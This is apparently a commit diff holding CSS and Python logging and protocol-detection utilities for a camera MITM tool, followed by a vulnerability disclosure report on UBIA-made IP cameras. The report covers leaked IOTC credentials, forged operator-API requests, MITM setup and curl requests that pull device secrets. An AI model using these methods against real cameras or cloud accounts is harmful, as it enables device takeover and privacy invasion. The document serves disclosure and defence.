+} +@keyframes sev-pulse { + 0%, 100% { box-shadow: 0 0 0 var(--red-glow), inset 0 0 0 var(--red-glow); } + 50% { box-shadow: 0 0 16px var(--red-glow), inset 0 0 8px var(--red-glow); } +} +.sev-high { color: var(--amber); text-shadow: 0 0 6px var(--amber); border-color: var(--amber); } +.sev-med { color: var(--green); text-shadow: 0 0 6px var(--green-dark); } +.sev-info { color: var(--info); text-shadow: 0 0 6px var(--info); border-color: var(--info); } + +.cve-tag { + display: inline-block; + font-size: 10px; + font-family: 'Share Tech Mono', monospace; + color: var(--info); + border: 1px solid var(--info); + padding: 1px 5px; + margin-left: 4px; + letter-spacing: 1px; + vertical-align: middle; +} + +.redact { + background: var(--red); + color: #000; + padding: 0 6px; + font-weight: bold; + letter-spacing: 1.5px; + font-family: 'Share Tech Mono', monospace; + font-size: 11px; +} + +/* ─── CVE CARDS ────────────────────────────────────────── */ +.cve-card { + margin: 18px 0; + padding: 16px 20px; + border: 1px solid var(--green-deep); + background: linear-gradient(180deg, rgba(0, 20, 6, 0.6), rgba(0, 8, 2, 0.4)); + position: relative; + box-shadow: inset 0 0 30px rgba(0, 60, 18, 0.1); +} +.cve-card::before { + content: ''; + position: absolute; + left: 0; top: 0; bottom: 0; + width: 3px; + background: var(--green); + box-shadow: 0 0 14px var(--green); +} + +.cve-card header { + display: flex; + align-items: center; + gap: 12px; + flex-wrap: wrap; + margin-bottom: 8px; + font-family: 'Share Tech Mono', monospace; +} + +.cve-id { + color: var(--link); + font-size: 14px; + font-weight: bold; + letter-spacing: 1px; + text-shadow: 0 0 8px rgba(0, 255, 170, 0.5); +} +.cvss { + color: var(--text-dim); + font-size: 11px; + letter-spacing: 1px; +} +.cve-state { + margin-left: auto; + font-size: 11px; + letter-spacing: 1.5px; + padding: 2px 8px; + border: 1px solid currentColor; +} +.state-vuln { + color: var(--red); + text-shadow: 0 0 8px var(--red-glow); + animation: sev-pulse 1.8s ease-in-out infinite; +} +.state-warn { + color: var(--amber); + text-shadow: 0 0 6px var(--amber); +} + +.cve-card h3 { + font-family: 'VT323', monospace; + font-size: 19px; + color: var(--green); + margin: 6px 0 10px 0; + letter-spacing: 1.5px; + text-shadow: 0 0 8px var(--green-dark); +} + +.cve-card p { + color: var(--green-dim); + font-size: 13px; + line-height: 1.7; +} + +/* ─── TOOLS LIST ───────────────────────────────────────── */ +ul.tools, ul.disclosure { + list-style: none; + padding: 0; + margin: 14px 0; +} + +ul.tools li, ul.disclosure li { + margin: 7px 0; + padding: 5px 0 5px 22px; + position: relative; + color: var(--green-dim); + border-bottom: 1px dashed var(--green-deep); + transition: background 0.15s, padding-left 0.2s; +} +ul.tools li::before, ul.disclosure li::before { + content: '\BB'; + position: absolute; + left: 4px; + top: 5px; + color: var(--link); + text-shadow: 0 0 6px var(--link); +} +ul.tools li:hover, ul.disclosure li:hover { + background: rgba(0, 60, 18, 0.2); + padding-left: 28px; + color: var(--green); +} +ul.tools li strong { + color: var(--link); + font-family: 'Share Tech Mono', monospace; +} + +.modulename { + font-family: 'VT323', monospace; + font-size: 18px; + color: var(--link); + letter-spacing: 2px; + margin-top: 14px; + text-shadow: 0 0 10px rgba(0, 255, 170, 0.4); +} + +/* ─── REASONS (numbered list with big numerals) ────────── */ +ol.reasons { + list-style: none; + padding: 0; + margin: 16px 0; +} +ol.reasons li { + display: flex; + gap: 18px; + margin: 16px 0; + padding: 12px 14px; + border-left: 1px solid var(--green-deep); + background: rgba(0, 12, 4, 0.3); +} +ol.reasons li .num { + font-family: 'VT323', monospace; + font-size: 42px; + color: var(--green); + text-shadow: 0 0 14px var(--green-dark), 0 0 4px var(--green); + flex-shrink: 0; + line-height: 1; +} +ol.reasons li > div { + font-size: 13px; + color: var(--green-dim); + line-height: 1.7; +} + +/* ─── QUOTE BLOCK ──────────────────────────────────────── */ +.quote-block { + margin: 28px auto; + padding: 26px 28px; + border: 1px solid var(--green-deep); + background: + radial-gradient(ellipse at top, rgba(0, 80, 20, 0.18), transparent 60%), + rgba(0, 8, 2, 0.6); + text-align: center; + position: relative; + max-width: 720px; +} +.quote-block::before { content: '/*'; position: absolute; top: 6px; left: 12px; color: var(--text-dim); font-size: 12px; } +.quote-block::after { content: '*/'; position: absolute; bottom: 6px; right: 12px; color: var(--text-dim); font-size: 12px; } + +.quote-text { + font-family: 'Share Tech Mono', monospace; + font-size: 14px; + color: var(--green); + font-style: italic; + line-height: 1.85; + text-shadow: 0 0 6px var(--green-dark); +} +.quote-attr { + margin-top: 12px; + font-size: 11px; + color: var(--text-dim); + letter-spacing: 2px; + text-transform: uppercase; +} + +.signoff { + text-align: right; + margin-top: 26px; + font-size: 13px; + color: var(--text-dim); + letter-spacing: 2px; + font-family: 'Share Tech Mono', monospace; +} +.signoff .link { color: var(--link); text-shadow: 0 0 8px rgba(0, 255, 170, 0.4); } + +/* ─── SCREENSHOTS ───────────────────────────────────── */ +figure.screenshot { + margin: 22px 0; + padding: 14px; + background: linear-gradient(180deg, rgba(0, 20, 6, 0.5), rgba(0, 6, 2, 0.4)); + border: 1px solid var(--green-deep); + border-left: 3px solid var(--green); + box-shadow: inset 0 0 30px rgba(0, 60, 18, 0.1); +} +figure.screenshot img { + display: block; + max-width: 100%; + height: auto; + border: 1px solid var(--green-dark); + box-shadow: + 0 0 18px rgba(0, 255, 65, 0.12), + 0 0 4px rgba(0, 255, 65, 0.25); + margin: 0 auto 12px auto; + /* gentle phosphor glow on hover */ + transition: box-shadow 0.3s, filter 0.3s; +} +figure.screenshot img:hover { + box-shadow: + 0 0 28px rgba(0, 255, 65, 0.25), + 0 0 8px rgba(0, 255, 65, 0.4); + filter: brightness(1.05); +} +figure.screenshot figcaption { + font-family: 'Share Tech Mono', monospace; + font-size: 12px; + color: var(--green-dim); + line-height: 1.7; + padding: 6px 10px 0 10px; + border-top: 1px dashed var(--green-deep); +} +figure.screenshot figcaption strong { + color: var(--link); + text-shadow: 0 0 6px rgba(0, 255, 170, 0.3); +} +figure.screenshot figcaption code { + font-size: 11px; +} + +/* ─── PROMPT FOOTER ────────────────────────────────────── */ +.prompt { + font-family: 'Share Tech Mono', monospace; + font-size: 13px; + color: var(--green); + margin: 30px 0 6px 0; + padding: 8px 0; + border-top: 1px dashed var(--green-deep); + text-shadow: 0 0 6px var(--green-dark); +} +.prompt-host { color: var(--link); } +.prompt-sep { color: var(--text-dim); } +.prompt-cwd { color: var(--green); } +.prompt-cmd { color: var(--green); } +.prompt-cursor { + display: inline-block; + background: var(--green); + color: var(--bg); + animation: cur 0.8s steps(1) infinite; + width: 9px; + margin-left: 2px; +} + +/* ─── FOOTER ────────────────────────────────────────────── */ +.footer { + text-align: center; + font-size: 11px; + color: var(--text-dim); + margin: 18px 0 26px 0; + letter-spacing: 2px; + font-family: 'Share Tech Mono', monospace; +} +.footer p { margin: 4px 0; } +.footer a { + color: var(--link); + text-decoration: none; +} +.footer a:hover { color: #fff; text-shadow: 0 0 8px var(--green); } + +/* ─── RESPONSIVE ──────────────────────────────────────── */ +@media (max-width: 720px) { + #hud { display: none; } + #ascii-logo { font-size: 7px; } + #tagline { font-size: 16px; letter-spacing: 2px; } + .section { padding: 14px; } + .section-title { font-size: 22px; } + ol.reasons li { flex-direction: column; gap: 8px; } + ol.reasons li .num { font-size: 32px; } +} diff --git a/utils/__init__.py b/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/utils/log.py b/utils/log.py new file mode 100644 index 0000000..39b9e56 --- /dev/null +++ b/utils/log.py @@ -0,0 +1,99 @@ +"""Shared logging and hex formatting utilities""" + +import os +import threading +from datetime import datetime +from collections import deque + +lock = threading.Lock() +log_lines = deque(maxlen=2000) +_logfile = None +_logfile_path = None +LOG_MAX_BYTES = 1024 * 1024 * 1024 # 1 GiB +_log_rotate_lock = threading.Lock() + +# Color codes for TUI +C_NONE = 0 +C_ERROR = 1 +C_SUCCESS = 2 +C_INFO = 3 +C_TRAFFIC = 4 +C_IMPORTANT = 5 + + +def init_logfile(path): + global _logfile, _logfile_path + os.makedirs(os.path.dirname(path), exist_ok=True) + _logfile_path = path + _logfile = open(path, "a") + + +def close_logfile(): + global _logfile + if _logfile: + _logfile.close() + _logfile = None + + +def _maybe_rotate(): + """Rotate the active log file if it exceeds LOG_MAX_BYTES.""" + global _logfile + if not _logfile or not _logfile_path: + return + try: + size = os.fstat(_logfile.fileno()).st_size + except OSError: + return + if size < LOG_MAX_BYTES: + return + with _log_rotate_lock: + try: + size = os.fstat(_logfile.fileno()).st_size + if size < LOG_MAX_BYTES: + return + _logfile.close() + ts = datetime.now().strftime("%Y%m%d_%H%M%S") + os.rename(_logfile_path, f"{_logfile_path}.{ts}") + _logfile = open(_logfile_path, "a") + _logfile.write(f"[{datetime.now().strftime('%H:%M:%S')}] log rotated (>1GB)\n") + _logfile.flush() + except Exception as e: + try: + _logfile = open(_logfile_path, "a") + except Exception: + _logfile = None + + +def log(msg, color=C_NONE): + ts = datetime.now().strftime("%H:%M:%S") + line = f"[{ts}] {msg}" + with lock: + log_lines.append((line, color)) + if _logfile: + try: + _logfile.write(line + "\n") + _logfile.flush() + except Exception: + pass + _maybe_rotate() + + +def hexdump(data, max_bytes=128): + lines = [] + for i in range(0, min(len(data), max_bytes), 16): + chunk = data[i:i + 16] + hx = " ".join(f"{b:02x}" for b in chunk) + asc = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk) + lines.append(f" {i:04x} {hx:<48} {asc}") + if len(data) > max_bytes: + lines.append(f" ... ({len(data)} bytes total)") + return "\n".join(lines) + + +def save_raw(log_dir, name, data): + import time + os.makedirs(log_dir, exist_ok=True) + path = f"{log_dir}/{name}_{int(time.time())}.bin" + with open(path, "wb") as f: + f.write(data) + return path diff --git a/utils/proto.py b/utils/proto.py new file mode 100644 index 0000000..a81f737 --- /dev/null +++ b/utils/proto.py @@ -0,0 +1,94 @@ +""" +Protocol fingerprinting from packet payload first bytes. +Returns a short label like 'TLS', 'HTTP', 'IOTC', '?'. +""" + +import threading +from collections import Counter + +_seen = Counter() +_lock = threading.Lock() + + +def detect(data: bytes) -> str: + if not data: + return "?" + n = len(data) + b = data + + # TLS: 0x16 (handshake) 0x03 0x0[0-4] + if n >= 3 and b[0] == 0x16 and b[1] == 0x03 and b[2] <= 0x04: + return "TLS" + # TLS app data / alert / change_cipher_spec + if n >= 3 and b[0] in (0x14, 0x15, 0x17) and b[1] == 0x03 and b[2] <= 0x04: + return "TLS-DATA" + + # HTTP request methods (ASCII) + head = bytes(b[:8]) + for verb in (b"GET ", b"POST ", b"PUT ", b"HEAD ", b"DELETE ", b"OPTIONS", b"PATCH ", b"CONNECT"): + if head.startswith(verb): + return "HTTP" + if head.startswith(b"HTTP/"): + return "HTTP-RESP" + + # RTSP + if head.startswith(b"RTSP/") or head.startswith(b"OPTIONS rtsp") or head.startswith(b"DESCRIBE"): + return "RTSP" + + # SSH banner + if head.startswith(b"SSH-"): + return "SSH" + + # FTP banner + if head[:3] in (b"220", b"221", b"230"): + return "FTP?" + + # DNS — udp payload usually starts with 16-bit ID then flags 0x01 0x00 (query) or 0x81 0x80 (resp) + if n >= 4 and b[2] in (0x01, 0x81) and b[3] in (0x00, 0x80, 0x20, 0xa0): + return "DNS" + + # NTP — first byte: LI(2)|VN(3)|Mode(3); common values 0x1b (client), 0x24 (server) + if n >= 48 and b[0] in (0x1b, 0x23, 0x24, 0xdb, 0xe3): + return "NTP?" + + # ThroughTek Kalay IOTC/AVAPI — begins with 0xF1 0xD0 or 0xF1 0xE0 family + if n >= 2 and b[0] == 0xF1 and b[1] in (0xD0, 0xE0, 0xF0, 0xC0, 0xA0, 0x10, 0x20, 0x30): + return "IOTC" + + # STUN — first byte 0x00 or 0x01, second byte 0x00/0x01/0x11, magic cookie 0x2112A442 at offset 4 + if n >= 8 and b[0] in (0x00, 0x01) and b[4:8] == b"\x21\x12\xa4\x42": + return "STUN" + + # mDNS multicast / SSDP + if head.startswith(b"M-SEARCH") or head.startswith(b"NOTIFY *") or head.startswith(b"HTTP/1.1 200 OK"): + return "SSDP" + + # MQTT — first byte 0x10 (CONNECT), 0x20 CONNACK, 0x30 PUBLISH... + if n >= 2 and (b[0] & 0xF0) in (0x10, 0x20, 0x30, 0x40, 0xC0, 0xD0, 0xE0) and b[0] != 0x00: + # weak signal — only if remaining length is sane + if 2 <= b[1] <= 200 and (b[0] & 0x0F) == 0: + return "MQTT?" + + return "?" + + +def label_with_hex(data: bytes) -> str: + """Return 'PROTO[hex6]' for log lines.""" + p = detect(data) + h = data[:6].hex() if data else "" + return f"{p}[{h}]" + + +def record(proto: str): + with _lock: + _seen[proto] += 1 + + +def seen_counts(): + with _lock: + return dict(_seen) + + +def reset(): + with _lock: + _seen.clear()
+ + + + + +
// 20 FINDINGS   /   3 LIVE CVES   /   1 BLINKING LIGHT //
+ + + +
+ +
+ + +
+
Executive Summary
+
+

I bought a generic Chinese IP camera off a marketplace listing — the kind that costs less than dinner. Plugged it in, watched what it does, then started taking it apart. Three weeks later I had extracted hardcoded admin secrets, forged authenticated requests against the vendor's operator API, mapped the entire cloud backend, identified eight leaked Google & Alibaba API keys, confirmed three CVEs apply to the device, and put together this report.

+ +

The vendor is UBIA Technologies — legal name Shenzhen Qingshi Internet Technology Co., Ltd. (深圳市青视互联科技有限公司), founded 2014, based in Bao'an District, Shenzhen. They claim to have shipped over three million low-power cameras. The hardware is the same Ingenic T31 reference design sold under at least nine brand names — UBox, UCon, YBox, Javiscam, Funstorm, i-Cam+, Soliom+, icamplus, Jarvis-, xega — all the same firmware, all the same backend, all the same problems.

+ +

UBIA didn't respond when CISA tried to contact them about the existing CVE-2025-12636. They probably won't respond to this either. I'm publishing under a 90-day responsible-disclosure window from April 2026 with sensitive specifics redacted; CISA coordinators and UBIA security contacts can request the unredacted artifact pack at the email below.

+ +

This report covers 20 distinct findings, 3 applicable CVEs, the full toolchain we built, and the failed paths we tried so other researchers don't have to repeat them. Everything below is from research on a device I own. No production user data was touched. PII has been redacted from all example payloads. The source code for every tool is published at repo.seteclabs.io/SetecLabs/cam-mitm.

+ +

Methodology: passive observation first, MITM on a controlled LAN, decompilation of the official Android app, native binary analysis of the bundled libUBICAPIs.so series, original PoC verifiers built from scratch (no public exploit code reused), and direct reproduction against my own camera. No port scans were run against the vendor's infrastructure. No credentials beyond my own account were used. No production accounts were touched.

+
+
+ +
+ + +
+
Target Profile
+
+
+Brand           Javiscam (one of nine OEM rebrands of the same hardware)
+Model           2604  (Product ID 1619)
+SoC             Ingenic T31 (Junzheng) — per UBIA marketing
+Android App     cn.ubia.ubox v1.1.360 (Pro: com.ubianet.uboxpro)
+Vendor          UBIA Technologies Co. / Shenzhen Qingshi Internet Technology Co.
+Founded         2014  (Bao'an District, Shenzhen, Guangdong)
+Firmware        2604.1.2.69 (current shipping)
+P2P Stack       ThroughTek Kalay (rebranded internally as "UBIC")
+MAC OUI         14:92:F9 (TP-Link reference design)
+IOTC UID        20-char alphanumeric (Kalay format, REDACTED)
+Cloud Portal    portal.ubianet.com (US, CN, EU regions)
+OAM Portal      oam.ubianet.com (operator/admin tier)
+Photo Storage   Alibaba OSS + AWS S3 (ubiasnap-{eu,as} multi-region)
+OTA Storage     Tencent COS (ubiaota-us-1312441409, ubiaota-cn-1312441409)
+Tencent APPID   1312441409
+Push Service    TCP/20003
+P2P Relay       UDP/10240 (Tencent + Alibaba clouds)
+Master Servers  portal.{us,cn}.ubianet.com  + ThroughTek Kalay masters
+
+ +

Architecture is the standard Shenzhen IPC playbook: small ARM SoC, no inbound services, all comms outbound through a P2P relay run by ThroughTek's master servers and the vendor's portal. The camera never opens a port to the LAN. It just dials home, registers its UID against a Kalay master, and waits for the legitimate client app to connect through the relay. Local control requires the per-device IOTC credentials, which the cloud API leaks (V01).

+ +

The vendor's own marketing page (ubia.com.cn/intro/1.html) confirms the SoC family: UBIA describes themselves as having "launched a Junzheng T31 low-power doorbell / battery camera" with over three million units shipped. Junzheng is the Chinese name for Ingenic. T31 is the standard battery-IPC reference SoC, fully supported by the open-source OpenIPC project.

+
+
+ +
+ + +
+
Methodology
+
+

Standard ISC research methodology, no unusual tradecraft:

+ +
    +
  1. + 01 +
    + Passive observation. Plug the camera into a controlled LAN. Capture all traffic with tcpdump. Identify the cloud endpoints, DNS lookups, P2P registration packets, and connectivity-check destinations the device hits without prompting. Output: a list of every IP and hostname the camera ever talks to. +
    +
  2. +
  3. + 02 +
    + Active MITM on the LAN. Build a small Python framework (later setec_suite/cam-mitm) that does ARP spoofing, DNS interception with our own answers, HTTP/HTTPS interception with auto-generated certs, raw packet sniffing per IP, and protocol fingerprinting from the first 6 bytes of every payload. Use it to capture the camera's API requests in cleartext and analyze them. +
    +
  4. +
  5. + 03 +
    + App decompilation. Pull the official UBox Android app from APKPure (cn.ubia.ubox v1.1.360). Extract resources with jadx. Statically grep for: API endpoint strings, hardcoded credentials, cryptographic constants, OAuth/OAM signing schemes, hardcoded IPs and hostnames, third-party SDK identifiers. Cross-reference any interesting findings against the live MITM captures. +
    +
  6. +
  7. + 04 +
    + Native binary analysis. The app's TUTK/Kalay stack is in libUBICAPIs.so (and ...23.so, ...29.so for ABI variants). Pull strings, list exported symbols with nm -D, locate the crypto init/encode/decode functions, disassemble those with arm-linux-gnueabi-objdump, and look for static keys, master server hostnames, and runtime-derived auth schemes. +
    +
  8. +
  9. + 05 +
    + Authenticated API enumeration. Log into the cloud portal with my own account using our reproduced auth scheme. Hit every endpoint we harvested from the decompiled app (146 of them) with empty bodies first; flag any that return real data, an error code with a meaningful message, or a documented schema. Then mutate parameters on the interesting ones. +
    +
  10. +
  11. + 06 +
    + Forged operator-API requests. The decompiled app contains an OamHttpClient class with a hardcoded HMAC secret used to sign requests against UBIA's operator/admin tier (oam.ubianet.com). Reproduce the signing scheme. Forge requests against the OAM endpoints we know exist. Confirm acceptance. +
    +
  12. +
  13. + 07 +
    + CVE verification. Build original non-destructive verifiers for the CVEs we believe apply (CVE-2025-12636 cred leak, CVE-2021-28372 Kalay UID hijack, CVE-2023-6322/6323/6324 Kalay LAN parser chain). Each verifier probes the necessary preconditions on the live camera and reports VULN / NOT_VULN / UNKNOWN with evidence. No exploit payloads were sent. No overflow attempts. No spoofed master-server registrations. +
    +
  14. +
  15. + 08 +
    + Documentation. Every finding gets a numbered V-record with severity, source location, vector summary, evidence, and remediation guidance. Sensitive specifics (actual leaked secret values, the alternate hardcoded password, the live API keys) are redacted from this public report and held back for the vendor. +
    +
  16. +
+ +

What I did not do: scan the vendor's infrastructure with port scanners, test against accounts other than my own, perform any operation that would interfere with other users' devices, send overflow / fuzz payloads to the live camera, or use any public exploit code. Every PoC in this report is original.

+
+
+ +
+ + +
+
Findings  [ V01 — V20 ]
+
+

Twenty distinct issues. Severity is mine, calibrated to "what an attacker can actually do" rather than CVSS theatre. Sensitive technical specifics are redacted on this public page; the unredacted artifact pack is available to CISA coordinators and UBIA security contacts on request.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
IDSeverityTitle
V01CRITCloud API leaks IOTC device credentials in plaintext CVE-2025-12636
V02HIGHCloud API leaks Alibaba/Tencent/Google keys in login response
V03MEDPassword hashing is HMAC-SHA1 with an empty key (= plain SHA1)
V04HIGHSSL certificate validation disabled in app (ALLOW_ALL_HOSTNAME_VERIFIER)
V05CRITUses ThroughTek Kalay SDK CVE-2021-28372 CVE-2023-6322
V06HIGHFirmware connectivity checks over plain HTTP
V07MEDFirmware download URL is sent to camera via IOTC command 4631 (injectable)
V08INFOCloud infrastructure fully discoverable
V09HIGHIOTC command set allows full device control with leaked creds
V10MEDUser photo URL leaks Alibaba OSS access key ID
V11HIGHapp/getconfig leaks 8 cloud API keys (Google + AMap, per OEM × OS)
V12HIGHOTA bucket discovery via cloud config (Tencent COS, public-read on objects)
V13MEDSecond hardcoded camera password discovered [REDACTED]
V14HIGHOAM admin HMAC secret hardcoded — LIVE-CONFIRMED forging
V15MEDSIM2 cellular API AppID/Secret hardcoded
V16INFONative libUBICAPIs.so confirms rebranded ThroughTek Kalay stack
V17MEDuser/account/get_current_user leaks personal data
V18INFO146 API endpoints discoverable from decompiled APK
V19INFOSoC identified: Ingenic T31 (per UBIA marketing) — enables OpenIPC pivot
V20INFOVendor legal entity & disclosure contacts identified
+
+ + + +
+
+ V01 + CRIT + CVE-2025-12636 +

Cloud API leaks IOTC device credentials in plaintext

+
+
+
Vector
+
The vendor's POST /api/user/device_list endpoint, when called by an authenticated owner, returns each owned device with the fields cam_user and cam_pwd in plaintext. These are not metadata about the device account on the cloud — they are the IOTC P2P device-auth credentials used to connect to the camera over the Kalay relay. Any party who obtains them can take full local control of the camera over P2P.
+ +
Reproduction
+
+
+$ curl -sX POST https://portal.ubianet.com/api/user/device_list \
+       -H "Content-Type: application/json" \
+       -H "X-Ubia-Auth-UserToken: <owner_token>" \
+       -H "X-UbiaAPI-CallContext: source=app&app=ubox&ver=1.1.360&osver=14" \
+       -d '{}'
+
+
+ +
Evidence (sanitized)
+
+
+{
+  "code": 0, "msg": "success",
+  "data": {
+    "list": [
+      {
+        "device_uid": "<REDACTED-20-char>",
+        "name": "Living Room Cam",
+        "model_num": "2604",
+        "cam_user": "<REDACTED>",          // IOTC username
+        "cam_pwd":  "<REDACTED-13-char>",  // IOTC password — plaintext
+        ...
+      }
+    ]
+  }
+}
+
+
+ +
Impact
+
Anyone who obtains a user's API token (or compromises the user's account) can immediately enumerate every camera the user owns and pull the local-auth credentials for each one. Combined with the leaked IOTC UID (also in the same response), the attacker can connect to the camera over the Kalay P2P relay from anywhere on the internet and execute the full IOTC command set (V09): live video, live audio, file enumeration, snapshot capture, motion-config rewrite, factory reset, device reboot. Plaintext storage of device-auth credentials by an account-tier API is a textbook CWE-522 violation.
+ +
Mitigation
+
Stop returning cam_user / cam_pwd in any cloud-tier API response. The legitimate app uses these credentials only to authenticate the IOTC session — that authentication can be performed by the cloud on the user's behalf with a short-lived token, the way Wyze, Tapo, and other modern cloud cameras have been doing for years.
+ +
Discovery notes
+
Originally disclosed via CISA advisory ICSA-25-310-02; UBIA did not respond to coordination. Our independent verification reproduces the issue against current shipping firmware (2604.1.2.69) using a freshly created consumer account.
+
+
+ +
+
+ V02 + HIGH +

Cloud API leaks Alibaba/Tencent/Google keys in login response

+
+
+
Vector
+
The login response (POST /api/v3/login) embeds an app_config object that includes Alibaba Cloud OSS keys, Tencent Cloud keys, Google API keys, and AMap (Chinese maps) API keys for the app's mapping/storage features.
+
Impact
+
Any authenticated user can pull these keys and incur Google Cloud / Alibaba / Tencent billing damage on the vendor's accounts, abuse the maps services to mass-resolve location data, or pivot if the keys grant access to other Google projects sharing the same restrictions.
+
Mitigation
+
Move all third-party API calls behind the vendor's own backend. Never ship API keys in client-facing responses.
+
+
+ +
+
+ V03 + MED +

Password hashing is HMAC-SHA1 with an empty key

+
+
+
Vector
+
From com/http/HttpClient.java:195 and NewApiHttpClient.java:737-744: account passwords are hashed with Base64(HmacSHA1(password, "")), then base64-encoded with character substitutions (+-, /_, =,). HMAC with an empty key is mathematically equivalent to plain SHA1. There is no salt and no iteration count.
+
Impact
+
If the cloud-side password store is ever compromised, the entire user-base is recoverable to weak passwords in seconds with any modern cracking rig. Trivial offline brute force.
+
Mitigation
+
Switch to bcrypt or argon2id with per-user salts and a server-side cost factor. The fact that the password hashing is performed client-side with a fixed scheme means changing it requires app + server coordination.
+
+
+ +
+
+ V04 + HIGH +

SSL certificate validation disabled in the app

+
+
+
Vector
+
NewApiHttpClient.java:1053 uses SSLConnectionSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER. The app accepts any SSL certificate presented by any host, including self-signed and unrelated certs. There is no certificate pinning anywhere in the app's HTTP client.
+
Impact
+
Trivial MITM attack against the app. Anyone who can position themselves on the network path between the user's phone and portal.ubianet.com (rogue WiFi, ARP spoof on a hotel LAN, BGP hijack against an ISP) can intercept and modify all API traffic. We used exactly this approach for our own analysis.
+
Mitigation
+
Implement certificate pinning. The vendor controls a finite, stable set of TLS certificates for portal.ubianet.com — pin to those.
+
+
+ +
+
+ V05 + CRIT + CVE-2021-28372 + CVE-2023-6322 +

Uses ThroughTek Kalay SDK (rebranded as "UBIC")

+
+
+
Vector
+
The app's native libraries (libUBICAPIs.so, libUBICAPIs23.so, libUBICAPIs29.so, libUBIENotify.so) are a rebranded ThroughTek Kalay SDK. We confirmed this from symbol inspection: the libraries export p4p_crypto_init, p4p_crypto_encode, p4p_crypto_decode, p4p_device_auth, p4p_device_update_auth, p4p_client_send_masterhello, and reference Java class names like com/tutk/IOTC/st_LanSearchInfo2. Master server hostnames in .rodata point at portal.ubianet.com et al.
+
Impact
+
Every CVE published against ThroughTek Kalay applies, in particular CVE-2021-28372 (UID-based session hijack against the master, CVSS 9.6) and the CVE-2023-6322 / -6323 / -6324 chain (LAN-side parser memory corruption + auth bypass + RCE). The rebrand has no impact on the vulnerability surface.
+
Mitigation
+
Upgrade to the latest patched ThroughTek SDK. The rebranding does not exempt the vendor from following ThroughTek's security advisories.
+
+
+ +
+
+ V06 + HIGH +

Firmware connectivity checks over plain HTTP

+
+
+
Vector
+
On boot, the camera makes plain HTTP (port 80) connectivity-check requests to www.microsoft.com, www.amazon.com, www.apple.com, and www.qq.com — the last entry is the strong tell that the firmware was compiled for the Chinese-domestic market. From cam_monitor.pcap in the engagement artifacts.
+
Impact
+
By itself this is mostly an information disclosure (clear-text proof of online connectivity). Combined with V07, it enables a MITM attacker to redirect the connectivity check, then intercept the subsequent firmware download path the camera triggers.
+
+
+ +
+
+ V07 + MED +

Firmware update URL is sent to the camera via IOTC command 4631

+
+
+
Vector
+
From com/apiv3/bean/AdvancedSettings.java:883-890: the legitimate app calls check_version/v3 on the cloud, receives an OTA URL in the response, then constructs a SMsgAVIOCtrlFirmwareUpdateReq struct and sends it to the camera over P2P as IOTC command 4631. The struct contains the URL, file size, MD5, and a "required" flag. The camera then downloads from the URL itself.
+
Impact
+
If the app's check_version response is intercepted (V04) or if an attacker can inject IOTC command 4631 directly (using leaked V01 credentials), the camera can be made to download firmware from any attacker-chosen URL. Combined with V06 (firmware downloaded over HTTP, not HTTPS), this is a full firmware-replacement vector.
+
Mitigation
+
Sign firmware images with a vendor private key and verify the signature on-device before flashing. Reject any URL that isn't on a hardcoded allow-list. Enforce TLS for the actual download.
+
+
+ +
+
+ V08 + INFO +

Cloud infrastructure fully discoverable

+
+
+
Vector
+
Every cloud component the device or app uses is discoverable from a single afternoon of MITM and decompilation: portal.{us,cn,eu}.ubianet.com (regional API tiers), oam.ubianet.com (operator/admin tier), ubiaota-{us,cn}-1312441409.cos.{na-siliconvalley,ap-guangzhou}.myqcloud.com (Tencent COS firmware buckets, with the APPID embedded in the hostname), ubiasnap-{eu,as}.oss-{eu-central-1,ap-southeast-1}.aliyuncs.com (Alibaba OSS photo storage), uboxphoto-us.oss-us-west-1.aliyuncs.com (US photo bucket), Tencent Cloud relay IPs in the 43.x range, and the SIM management portal at 118.178.150.203:9001 / api.iot400.com.
+
Impact
+
Information disclosure. By itself low severity, but it builds the target map for every other finding.
+
+
+ +
+
+ V09 + HIGH +

IOTC command set allows full device control with leaked creds

+
+
+
Vector
+
The IOTC P2P protocol exposes the standard ThroughTek command set. With the V01 credentials, an attacker can: stream live video (768) and audio (769), enumerate / download / upload / delete files on the SD card (48644877), trigger a firmware update (4631, V07), pull device info (816), read and rewrite motion-detection config (806), format the SD card (896), reassign the device's UID (241), capture pictures remotely (8482), and reboot the device (event type 16).
+
Impact
+
Full device takeover from anywhere on the internet that can reach the Kalay relay (which is anywhere). With V01, the attacker is one cloud API call away from having all of these abilities.
+
+
+ +
+
+ V10 + MED +

User photo URL leaks Alibaba OSS access key ID

+
+
+
Vector
+
The avatar_url field in user-account responses is a pre-signed Alibaba OSS URL with the access key ID embedded as a query parameter. The bucket itself is access-controlled (anonymous list returns AccessDenied) but the access key ID is leaked in cleartext to every authenticated user.
+
Impact
+
By itself low. If the corresponding secret is ever leaked from another endpoint, the access key becomes immediately useful for AWS-style S3-compatible operations against the bucket.
+
+
+ +
+
+ V11 + HIGH +

app/getconfig leaks 8 cloud API keys

+
+
+
Vector
+
The authenticated POST /api/app/getconfig endpoint returns an android_private_config and ios_private_config object containing Google Maps and AMap API keys for every OEM brand × OS combination — eight distinct keys in one response, plus AMap-by-Google translation keys for two brands. The same response also embeds the OTA bucket hostnames and the Tencent Cloud APPID.
+
Reproduction
+
+
+$ curl -sX POST https://portal.ubianet.com/api/app/getconfig \
+       -H "X-Ubia-Auth-UserToken: <owner_token>" \
+       -H "Content-Type: application/json" -d '{}'
+
+
+
Evidence (sanitized)
+
+
+{
+  "code": 0, "msg": "success",
+  "data": {
+    "config_uboxpro": {
+      "demo_video_en_url": "http://ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com/...",
+      "demo_video_zh_url": "http://ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com/..."
+    },
+    "android_private_config": {
+      "ucon": {
+        "AMapAPIKey":          "<REDACTED>",
+        "GoogleAPIKey":        "<REDACTED>",
+        "AMapByGoogleAPIKey":  "<REDACTED>"
+      },
+      "ybox": { ...four more keys, REDACTED... }
+    },
+    "ios_private_config": { ...four more keys, REDACTED... }
+  }
+}
+
+
+
Impact
+
An authenticated user can pull all eight keys and burn UBIA's quota / billing on Google Maps + Gaode (AMap) at will. If any key is shared with other UBIA Google Cloud projects, lateral abuse is possible.
+
Mitigation
+
Remove the keys from any client-facing response. Proxy all maps calls through the vendor's own backend.
+
+
+ +
+
+ V12 + HIGH +

OTA bucket discovery via cloud config

+
+
+
Vector
+
